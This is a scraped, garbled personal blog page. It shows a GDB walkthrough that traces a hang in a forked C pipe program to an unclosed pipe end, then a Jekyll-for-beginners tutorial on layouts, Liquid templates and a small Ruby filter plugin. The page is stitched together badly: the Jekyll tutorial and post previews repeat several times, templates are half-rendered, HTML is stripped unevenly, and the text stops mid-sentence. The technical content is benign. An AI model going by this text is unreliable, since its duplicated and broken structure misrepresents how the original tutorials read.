<p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
</code></pre></div></div>

<p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>

<p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
Breakpoint 1 at 0x400b27: file second.c, line 105.
(gdb) r
...
Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
105			waitpid(pid1, NULL, 0);
</code></pre></div></div>

<p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
106			waitpid(pid2, NULL, 0);
(gdb) n
</code></pre></div></div>

<p>This means the first program finishes successfully, but the second one suspends and never returns!</p>

<p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>

<p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
Catchpoint 1 (fork)
</code></pre></div></div>

<p>Next, go to the fork statement at line 84.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
Starting program: second /bin/ls /usr/bin/sort

Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
(gdb) c
Continuing.
[New process 6134]

Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
(gdb) finish
Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
[New process 6147]
0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
Value returned is $1 = 6147
</code></pre></div></div>

<p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>

<p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
  Num  Description       Executable        
  3    process 6147      second 
  2    process 6134      second 
* 1    process 6127      second
</code></pre></div></div>

<p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>

<p>Let’s switch to first program (inferior 2) and let it finish.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
...
(gdb) c
Continuing.
process 6134 is executing new program: /bin/ls
Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
[Inferior 2 (process 6134) exited normally]
</code></pre></div></div>

<p>Now only two inferiors are left.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
  Num  Description       Executable        
  3    process 6147      second 
* 2    &lt;null&gt;            /bin/ls           
  1    process 6127      second 
</code></pre></div></div>

<p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
...
(gdb) finish
Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
Value returned is $2 = 0
(gdb) n
88		    	if (-1 == close(pipefd[1])) {
(gdb) n
94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
(gdb) n
98		    	run(program2);
(gdb) n

</code></pre></div></div>

<p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	in ../sysdeps/unix/syscall-template.S
(gdb) shell ls -l /proc/6147/fd
total 0
lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
</code></pre></div></div>

<p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>

<p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
[Switching to inferior 1 [process 6127] (second)]
[Switching to thread 1 (process 6127)] 
#0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
(gdb) c
Continuing.
^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
(gdb) shell ls -l /proc/6127/fd
total 0
lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
</code></pre></div></div>

<p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>

<h3 id="the-third-version">The third version</h3>

<p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>

<p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>

<p>Now let’s test the program again.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
./third /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>And here is the result on my machine,</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
first.c
second.c
third
third.c
Run two programs succeeded!
</code></pre></div></div>

<p>which is the same as the result of terminal.</p>

<h3 id="conclusion">Conclusion</h3>

<p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>

<p>We learnt</p>

<ul>
  <li>C and Unix skills
    <ul>
      <li>pipe</li>
      <li>fork</li>
      <li>waitpid</li>
      <li>dup</li>
    </ul>
  </li>
  <li>GDB skills
    <ul>
      <li>catch</li>
      <li>inferior</li>
    </ul>
  </li>
</ul>


                <hr>

                <ul class="pager">
                    
                    <li class="previous">
                        <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                    </li>
                    
                    
                    <li class="next">
                        <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                    </li>
                    
                </ul>

                
                <!-- disqus 评论框 start -->
                <div class="comment">
                    <div id="disqus_thread" class="disqus-thread"></div>
                </div>
                <!-- disqus 评论框 end -->
                

            </div>

    <!-- Sidebar Container -->
    <!--
            <div class="
                col-lg-8 col-lg-offset-2
                col-md-10 col-md-offset-1
                sidebar-container" id="toc">
            </div>
    -->
        </div>
    </div>
</article>


<!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
<script type="text/javascript">
    /* * * CONFIGURATION VARIABLES * * */
    var disqus_shortname = "pufan-jiangs-blog";
    var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
    var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";

    (function() {
        var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
        dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
        (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
    })();
</script>
<!-- disqus 公共JS代码 end -->

 end -->
		
  	</body>
</html>

Edit home page

We will create an extremely simple home page first, which contains a list of your blog posts.

vim index.html

Put the following content in your home page.

---
layout: default
---

<h1>Home page</h1>
<ul class="post-list">

  <li>
    <h2>
      <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
    </h2>
  </li>

  <li>
    <h2>
      <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
    </h2>
  </li>

  <li>
    <h2>
      <a href="/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/">Inter-process communication using pipe and multiprocess debugging using GDB</a>
    </h2>
  </li>

  <li>
    <h2>
      <a href="/2016/04/20/concurrency-vs-parallelism/">Concurrency vs. Parallelism</a>
    </h2>
  </li>

  <li>
    <h2>
      <a href="/2016/04/20/Panic-vs-Return-Error/">Exception handling: panic/exception v.s. return error</a>
    </h2>
  </li>

  <li>
    <h2>
      <a href="/2016/03/23/cheatsheet-go-basics/">A cheatsheet on basic of Go language</a>
    </h2>
  </li>

  <li>
    <h2>
      <a href="/2016/02/19/Talking-within-Distributed-System-Message-Passing-RPC-RESTful-and-Thrift/">Talking within Distributed System</a>
    </h2>
  </li>

  <li>
    <h2>
      <a href="/2016/02/14/Secure-Threats-Buffer-Overflow-Attack-Level-0/">Secure Threats -- Buffer Overflow Attack -- Level 0</a>
    </h2>
  </li>

  <li>
    <h2>
      <a href="/2016/02/11/poison-pill-pattern/">Poison Pill</a>
    </h2>
  </li>

</ul>

It’s okay if you don’t understand prepend: site.baseurl. The most important thing is Jekyll will search for all files under directory _post and insert their URLs in hyper links.

Edit blog content

Finally, we could create our blog post.

You could change the name of the blog, but the name must

  • have a format YYYY-mm-dd-blog-name.ext
  • the ext has to be one of .md, .markdown etc.

Here is an example:

vim _post/2017-02-10-first-blog.md

Now put the content in your blog post

---
layout: post
title: first blog
date: 2017-01-20
---

# Title

## Second-level title

some content

This tells Jekyll use post.html as the layout, which recursively use default.html.

Remember the Blog with Jekyll for beginners and 2017-02-10 00:00:00 +0000 in post.html? Here is where we define the value of these variables.

Time for a demo

Now let’s run a local server to see how our first blog looks like.

jekyll server

In your browser, use address localhost:4000 to see your blog site.

Moving on

Believe me, you have mastered essential skills for creating a great website with Jekyll.

The best way to step forward is downloading some nice Jekyll template and figure out how it is composed.

Here is the source code of my Jekyll website. However, in order to fully understand these code, you have to learn creating Jekyll plugin, which is super easy.

Customize article preview front matter with Jekyll plugin

Default article preview front matter

Jekyll comes with default article preview tag – post.excerpt.

Modify our index.html page:

---
layout: default
---

<h1>Home page</h1>
<ul class="post-list">

  <li>
    <h2>
      <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
      
      <!-- insert this line -->
      <p><p>This article</p>

</p>
      
    </h2>
  </li>

  <li>
    <h2>
      <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
      
      <!-- insert this line -->
      <p><p>This article</p>

</p>
      
    </h2>
  </li>

  <li>
    <h2>
      <a href="/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/">Inter-process communication using pipe and multiprocess debugging using GDB</a>
      
      <!-- insert this line -->
      <p><p>In this article, we’ll walk through a simple example showing</p>

</p>
      
    </h2>
  </li>

  <li>
    <h2>
      <a href="/2016/04/20/concurrency-vs-parallelism/">Concurrency vs. Parallelism</a>
      
      <!-- insert this line -->
      <p><p>Quoted from <a href="https://www.youtube.com/watch?v=f6kdp27TYZs">Go Concurrency Patterns</a>.</p>

</p>
      
    </h2>
  </li>

  <li>
    <h2>
      <a href="/2016/04/20/Panic-vs-Return-Error/">Exception handling: panic/exception v.s. return error</a>
      
      <!-- insert this line -->
      <p><p>There are two common ways to handle errors:</p>

</p>
      
    </h2>
  </li>

  <li>
    <h2>
      <a href="/2016/03/23/cheatsheet-go-basics/">A cheatsheet on basic of Go language</a>
      
      <!-- insert this line -->
      <p><p>Quoted from:</p>

</p>
      
    </h2>
  </li>

  <li>
    <h2>
      <a href="/2016/02/19/Talking-within-Distributed-System-Message-Passing-RPC-RESTful-and-Thrift/">Talking within Distributed System</a>
      
      <!-- insert this line -->
      <p><ul>
  <li>What’s different between communication in distributed system and local machine.</li>
  <li>Two most popular way to communicate within a distributed system, i.e. message passing and RPC, and analyzed the advantages and disadvantages of them.</li>
  <li>Two most successful protocol using these two communication idea, i.e. RESTful and Thrift.</li>
</ul>

</p>
      
    </h2>
  </li>

  <li>
    <h2>
      <a href="/2016/02/14/Secure-Threats-Buffer-Overflow-Attack-Level-0/">Secure Threats -- Buffer Overflow Attack -- Level 0</a>
      
      <!-- insert this line -->
      <p><ul>
  <li>Our software system is far from robust and safe.</li>
  <li>This post talks about a basic attack, namely Buffer Overflow, that could shoot down a software system which seems robust at first glance.</li>
</ul>

</p>
      
    </h2>
  </li>

  <li>
    <h2>
      <a href="/2016/02/11/poison-pill-pattern/">Poison Pill</a>
      
      <!-- insert this line -->
      <p><ul>
  <li>How do producer(s) notify consumer(s) to stop?</li>
  <li>The producer can not simple kill the consumer, since there may be some jobs still in the queue.</li>
  <li>One solution is use poison pill – a special value to notify consumer(s) the end of service.</li>
</ul>

</p>
      
    </h2>
  </li>

</ul>

We added a paragraph section to home page, which is a preview created by Jekyll post.excerpt tag. What it does is cut the first paragraph of the post.

Customize article preview behavior

To have a fully customized preview tool, we have to create a Jekyll plugin.

There are multiple ways to create and use such plugins (more details). I personally perfer put to create Ruby files (equivelent to Jekyll plugins) under _plugins directory.

Let’s see the example first. Suppose we want to use the first 10 characters as article preview. One way is to use Liquid filter truncate. But for the purpose of this article, we’ll instead create our dumb little Jekyll plugin.

Create a Ruby file under _plugin directory.

mkdir _plugins
vim _plugins/example.rb

Put in following contents:

module Jekyll
  module PreviewFilter
    def build_preview(content)
      return content[0, 10]
    end
  end
end

Liquid::Template.register_filter(Jekyll::PreviewFilter)

The build_preview function is straightforward. The other code is just tell Jekyll to register this filter in global scope.

Just as a supplementary, I suggest reading this paragraph.

Time for a demo

Now let’s change our index.html

---
layout: default
---

<h1>Home page</h1>
<ul class="post-list">

  <li>
    <h2>
      <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
      
      <!-- insert this line -->
      <p>This article

- shows how to build a simple blog website with Jekyll from scratch (you could also build your blog on top of others once you learnt the essential skills)
- use [Liquid](https://github.com/Shopify/liquid) and [Jekyll plugin](https://jekyllrb.com/docs/plugins/) to customize article previews front matter
- example blog

![example-blog](/img/posts/jekyll-blog-demo.gif)

Pre-requists

- Basic understanding of HTML, CSS, JS and their relations
- Ruby experience or other programming experience to pick up Ruby quickly ( cd /tmp
> jekyll new my-blog
New jekyll site installed in /private/tmp/my-blog.

By running the last command, you have created a directory organized in a way that Jekyll could create static website from.

Create a post

Before all, let’s remove default files Jekyll created for us. In this article, we will use much simpler layouts, but the idea is the same.

> mkdir /tmp/blog-backup
> mv _includes/* _layouts/* _posts/* css/* _sass/* index.html about.md /tmp/backup/

Layout

Post layout

Now let’s create a layout for your blog posts. A layout is same as a template. You could think about it like creating a Pointer Point / Keynote. For each slide, it has a structure, e.g. a title and a body text, and what you need to do is only fill in the content.

Jekyll is great to separate layout/template from contents.

We create layout using HTML, CSS, JS and Liquid. In the layout, we put some special marks as placeholders, so that the content could be inserted by Jekyll and Liquid.

Once you have created the layout, you could focus on contents and Jekyll will put them together and render the website.

This may sound abstract, let’s have a dry run!

> cd my-blog
> vim _layout/post.html # Or use your favorite text editor to create _layout/post.html

This is the simple post HTML.

{% raw %}

---
layout: default
---

	
		{{ page.title }}
		{{ page.date | date: "%b %-d, %Y" }}
	

	
		{{ content }}
	

{% endraw %}

Now, stop reading and check out Liquid for designers to get a basic understanding of these curly brackets.

If you did read the article, you should understand

  • {{ foo }} is nothing but a placeholder, Liquid will later replace variable foo with its actual value. For example, {{ content }} is a variable created by Jekyll, whose value is the actual blog content you composed.
  • In{{ foo | bar }}, the | is just like Unix pipe supporting casacading operations.
  • In {{ foo | bar: v1, v2 }}, the : v1, v2 is the input arguments for filter bar.

Now you may have two questions:

  • The HTML file is incomplete, for example `````` etc. are missing,
  • The first three lines of post.html is mistery,

so let’s move on.

The complete layout

At this point, you may be wondering what the heck is that on top of the file:

---
layout: default
---

Jekyll use YAML to manage meta data of your web pages. This layout: default tells Jekyll to search for default.html in directory _layout, and then replace the placeholder {{ content }} in default.html with the whole content of this file(post.html). By doing this, Jekyll enable us to define layout in a hierarchical way.

Now let’s create file _layout/default.html with following content:

{% raw %}



	{% include head.html %}
	
		{{ content }}
  	

{% endraw %}

notice this is a complete HTML file and the {{ content }} placeholder is where the content of post.html should fit into.

The {% raw %}{% include foo.ext %}{% endraw %}s are straightforward, they will be replaced by contents of _include/foo.ext.

Let’s create file _include/head.html with following content:


		

This header has many things missing, but it works for our most simple blog.

Therefore, after replacing everything, the actual HTML file for posts will be

{% raw %}



	
	
			
	
	
	
	
	
		
		
			
				{{ page.title }}
				{{ page.date | date: "%b %-d, %Y" }}
			
		
			
				{{ content }}
			
		
		
		
  	

{% endraw %}

Edit home page

We will create an extremely simple home page first, which contains a list of your blog posts.

vim index.html

Put the following content in your home page.

{% raw %}

---
layout: default
---

Home page

{% for post in site.posts %}
  
    
      {{ post.title }}
    
  
{% endfor %}

{% endraw %}

It’s okay if you don’t understand prepend: site.baseurl. The most important thing is Jekyll will search for all files under directory _post and insert their URLs in hyper links.

Edit blog content

Finally, we could create our blog post.

You could change the name of the blog, but the name must

  • have a format YYYY-mm-dd-blog-name.ext
  • the ext has to be one of .md, .markdown etc.

Here is an example:

vim _post/2017-02-10-first-blog.md

Now put the content in your blog post

---
layout: post
title: first blog
date: 2017-01-20
---

# Title

## Second-level title

some content

This tells Jekyll use post.html as the layout, which recursively use default.html.

Remember the {{ page.title }} and {{ page.date }} in post.html? Here is where we define the value of these variables.

Time for a demo

Now let’s run a local server to see how our first blog looks like.

jekyll server

In your browser, use address localhost:4000 to see your blog site.

Moving on

Believe me, you have mastered essential skills for creating a great website with Jekyll.

The best way to step forward is downloading some nice Jekyll template and figure out how it is composed.

Here is the source code of my Jekyll website. However, in order to fully understand these code, you have to learn creating Jekyll plugin, which is super easy.

Customize article preview front matter with Jekyll plugin

Default article preview front matter

Jekyll comes with default article preview tag – post.excerpt.

Modify our index.html page:

{% raw %}

---
layout: default
---

Home page

{% for post in site.posts %}
  
    
      {{ post.title }}
      
      
      {{ post.excerpt }}
      
    
  
{% endfor %}

{% endraw %}

We added a paragraph section to home page, which is a preview created by Jekyll post.excerpt tag. What it does is cut the first paragraph of the post.

Customize article preview behavior

To have a fully customized preview tool, we have to create a Jekyll plugin.

There are multiple ways to create and use such plugins (more details). I personally perfer put to create Ruby files (equivelent to Jekyll plugins) under _plugins directory.

Let’s see the example first. Suppose we want to use the first 10 characters as article preview. One way is to use Liquid filter truncate. But for the purpose of this article, we’ll instead create our dumb little Jekyll plugin.

Create a Ruby file under _plugin directory.

mkdir _plugins
vim _plugins/example.rb

Put in following contents:

module Jekyll
  module PreviewFilter
    def build_preview(content)
      return content[0, 10]
    end
  end
end

Liquid::Template.register_filter(Jekyll::PreviewFilter)

The build_preview function is straightforward. The other code is just tell Jekyll to register this filter in global scope.

Just as a supplementary, I suggest reading this paragraph.

Time for a demo

Now let’s change our index.html

{% raw %}

---
layout: default
---

Home page

{% for post in site.posts %}
  
    
      {{ post.title }}
      
      
      {{ post.content | strip_html | build_preview }}
      
    
  
{% endfor %}

{% endraw %}

We see that instead of using Jekyll’s built-in post.excerpt tag, we use customized filter build_preview with content of post as input, to create the post preview on home page. The filter strip_html is used to remove html tags so that the preview could be rendered correctly.

Run Jekyll local server

jekyll server

And you should see the change.

</p>

</h2>

</li>

  • Blog with Jekyll for beginners

    This article - shows how to build a simple blog website with Jekyll from scratch (you could also build your blog on top of others once you learnt the essential skills) - use [Liquid](https://github.com/Shopify/liquid) and [Jekyll plugin](https://jekyllrb.com/docs/plugins/) to customize article previews front matter - example blog ![example-blog](/img/posts/jekyll-blog-demo.gif) Pre-requists - Basic understanding of HTML, CSS, JS and their relations - Ruby experience or other programming experience to pick up Ruby quickly ( cd /tmp > jekyll new my-blog New jekyll site installed in /private/tmp/my-blog. ``` By running the last command, you have created a directory organized in a way that Jekyll could create static website from. ## Create a post Before all, let's remove default files Jekyll created for us. In this article, we will use much simpler layouts, but the idea is the same. ``` > mkdir /tmp/blog-backup > mv _includes/* _layouts/* _posts/* css/* _sass/* index.html about.md /tmp/backup/ ``` ### Layout #### Post layout Now let's create a **layout** for your blog posts. A layout is same as a template. You could think about it like creating a Pointer Point / Keynote. For each slide, it has a structure, e.g. a title and a body text, and what you need to do is only fill in the content. **Jekyll is great to separate layout/template from contents.** We create layout using HTML, CSS, JS and Liquid. In the layout, we put some special marks as placeholders, so that the content could be inserted by Jekyll and Liquid. Once you have created the layout, you could focus on contents and Jekyll will put them together and render the website. This may sound abstract, let's have a dry run! ``` > cd my-blog > vim _layout/post.html # Or use your favorite text editor to create _layout/post.html ``` This is the simple post HTML. ```html --- layout: default --- {{ page.title }} {{ page.date | date: "%b %-d, %Y" }} {{ content }} ``` **Now, stop reading and check out [Liquid for designers](https://github.com/Shopify/liquid/wiki/Liquid-for-Designers) to get a basic understanding of these curly brackets.** If you did read the article, you should understand - ```{{ foo }}``` is nothing but a placeholder, Liquid will later replace variable ```foo ``` with its actual value. For example, ```{{ content }}``` is a variable created by Jekyll, whose value is the actual blog content you composed. - In```{{ foo | bar }}```, the ```|``` is just like Unix [pipe](https://en.wikipedia.org/wiki/Pipeline_(Unix)) supporting casacading operations. - In ```{{ foo | bar: v1, v2 }}```, the ```: v1, v2``` is the input arguments for filter ```bar```. Now you may have two questions: - The HTML file is incomplete, for example `````` etc. are missing, - The first three lines of ```post.html``` is mistery, so let's move on. #### The complete layout At this point, you may be wondering what the heck is that on top of the file: ``` --- layout: default --- ``` Jekyll use [YAML](https://en.wikipedia.org/wiki/YAML) to manage meta data of your web pages. This ```layout: default``` tells Jekyll to search for ```default.html``` in directory ```_layout```, and then **replace the placeholder ```{{ content }}``` in ```default.html``` with the whole content of this file(```post.html```)**. By doing this, Jekyll enable us to define layout in a hierarchical way. Now let's create file ```_layout/default.html``` with following content: ```html {% include head.html %} {{ content }} ``` notice this is a complete HTML file and the ```{{ content }}``` placeholder is where the content of ```post.html``` should fit into. The {% raw %}```{% include foo.ext %}```{% endraw %}s are straightforward, they will be replaced by contents of ```_include/foo.ext```. Let's create file ```_include/head.html``` with following content: ```html ``` This header has many things missing, but it works for our most simple blog. Therefore, after replacing everything, the actual HTML file for posts will be ```html {{ page.title }} {{ page.date | date: "%b %-d, %Y" }} {{ content }} ``` ### Edit home page We will create an extremely simple home page first, which contains a list of your blog posts. ``` vim index.html ``` Put the following content in your home page. ```html --- layout: default --- Home page {% for post in site.posts %} {{ post.title }} {% endfor %} ``` It's okay if you don't understand ```prepend: site.baseurl```. The most important thing is Jekyll will search for all files under directory ```_post``` and insert their URLs in hyper links. ### Edit blog content Finally, we could create our blog post. You could change the name of the blog, but the name must - have a format ```YYYY-mm-dd-blog-name.ext``` - the ```ext``` has to be one of ```.md```, ```.markdown``` etc. Here is an example: ``` vim _post/2017-02-10-first-blog.md ``` Now put the content in your blog post ``` --- layout: post title: first blog date: 2017-01-20 --- # Title ## Second-level title some content ``` This tells Jekyll use ```post.html``` as the layout, which recursively use ```default.html```. Remember the ```{{ page.title }}``` and ```{{ page.date }}``` in ```post.html```? Here is where we define the value of these variables. ## Time for a demo Now let's run a local server to see how our first blog looks like. ``` jekyll server ``` In your browser, use address ```localhost:4000``` to see your blog site. #### Moving on Believe me, you have mastered essential skills for creating a great website with Jekyll. The best way to step forward is downloading some nice Jekyll template and figure out how it is composed. Here is the [source code]() of my Jekyll website. However, in order to fully understand these code, you have to learn creating Jekyll plugin, which is super easy. # Customize article preview front matter with Jekyll plugin ## Default article preview front matter Jekyll comes with default article preview tag -- ```post.excerpt```. Modify our ```index.html``` page: ```html --- layout: default --- Home page {% for post in site.posts %} {{ post.title }} {{ post.excerpt }} {% endfor %} ``` We added a paragraph section to home page, which is a preview created by Jekyll ```post.excerpt``` tag. What it does is cut the first paragraph of the post. ## Customize article preview behavior To have a fully customized preview tool, we have to create a Jekyll plugin. There are multiple ways to create and use such plugins [(more details)](http://jekyllrb.com/docs/plugins/#installing-a-plugin). I personally perfer put to create Ruby files (equivelent to Jekyll plugins) under ```_plugins``` directory. Let's see the example first. Suppose we want to use the first 10 characters as article preview. One way is to use Liquid filter ```truncate```. But for the purpose of this article, we'll instead create our dumb little Jekyll plugin. Create a Ruby file under ```_plugin``` directory. ``` mkdir _plugins vim _plugins/example.rb ``` Put in following contents: ```ruby module Jekyll module PreviewFilter def build_preview(content) return content[0, 10] end end end Liquid::Template.register_filter(Jekyll::PreviewFilter) ``` The ```build_preview``` function is straightforward. The other code is just tell Jekyll to register this filter in global scope. Just as a supplementary, I suggest reading [this paragraph]([Jekyll plugin#liquid filters](http://jekyllrb.com/docs/plugins/#liquid-filters)). ## Time for a demo Now let's change our ```index.html``` ```html --- layout: default --- Home page {% for post in site.posts %} {{ post.title }} {{ post.content | strip_html | build_preview }} {% endfor %} ``` We see that instead of using Jekyll's built-in ```post.excerpt``` tag, we use customized filter ```build_preview``` with content of post as input, to create the post preview on home page. The filter ```strip_html``` is used to remove html tags so that the preview could be rendered correctly. Run Jekyll local server ``` jekyll server ``` And you should see the change.

  • Inter-process communication using pipe and multiprocess debugging using GDB

    In this article, we’ll walk through a simple example showing how to use unix pipe for inter-process communication how to debug a program of three processes using GDB Pre-requists experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video Unix intro) experience using GDB, know how to set breakpoints (checkout GDB tutorial) c language readability (espicially fork, exec) understand I/O redirect (checkout man dup) The problem The problem is to load two pre-built programs stream the output of the first program to the second one print the result of the second program print a finish sentence when both programs finish For example, we want to mimic the action of such bash command: /bin/ls | /bin/sort The first version Our very first version almost works, it sets up a pipe for later inter-process communication forks two processes modifies pipe for each process, so that the input/output is correctly redirected loads the pre-built programs to the processes prints the finish sentence The C file is here. Compile and run the program (assuming you have gcc installed). Notice you may need to modify positions for ls and sort programs if the belowing positions do not work. gcc -o first first.c ./first /bin/ls /usr/bin/sort Here is the output: Run two programs succeeded! README.md a.out first first.c And this the output of pipe in terminal: /bin/ls | /usr/bin/sort README.md a.out first first.c We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end. This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs. To fix the problem, let’s move on to second version. The second version At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last else branch, so that the main program will print the finish sentence after child processes finish. The second version is at here. Notice the only difference is two additional lines (105-106). Compile and run: gcc -o second second.c ./second /bin/ls /usr/bin/sort We will find the program never finishes! Instead of telling you why the program breaks, we will use GDB to find out the reason together. Compile the program again with debug information and use GDB to execute the program: gcc -g -O0 -o second second.c gdb --args second /bin/ls /usr/bin/sort Before everything, let’s set detach-on-fork environment variable of GDB to off. set detach-on-fork off By doint this, we could switch between processes easily. More details on this environment at here. Now let’s set breakpoint at right before waitpid system call and run the program (gdb) br second.c:105 Breakpoint 1 at 0x400b27: file second.c, line 105. (gdb) r ... Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105 105 waitpid(pid1, NULL, 0); Now use next command of GDB to step through the functions. (gdb) n 106 waitpid(pid2, NULL, 0); (gdb) n This means the first program finishes successfully, but the second one suspends and never returns! In order to figure out why the second program never returns, let’s run the program again, and use catch, inferior commands to go to that child process instead of the parent process. First, let GDB stops when a fork system call is called (gdb) catch fork Catchpoint 1 (fork) Next, go to the fork statement at line 84. (gdb) r Starting program: second /bin/ls /usr/bin/sort Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130 130 ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory. (gdb) c Continuing. [New process 6134] Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130 130 in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c (gdb) finish Run till exit from #0 0x00007ffff7ad5ee4 in __libc_fork () at 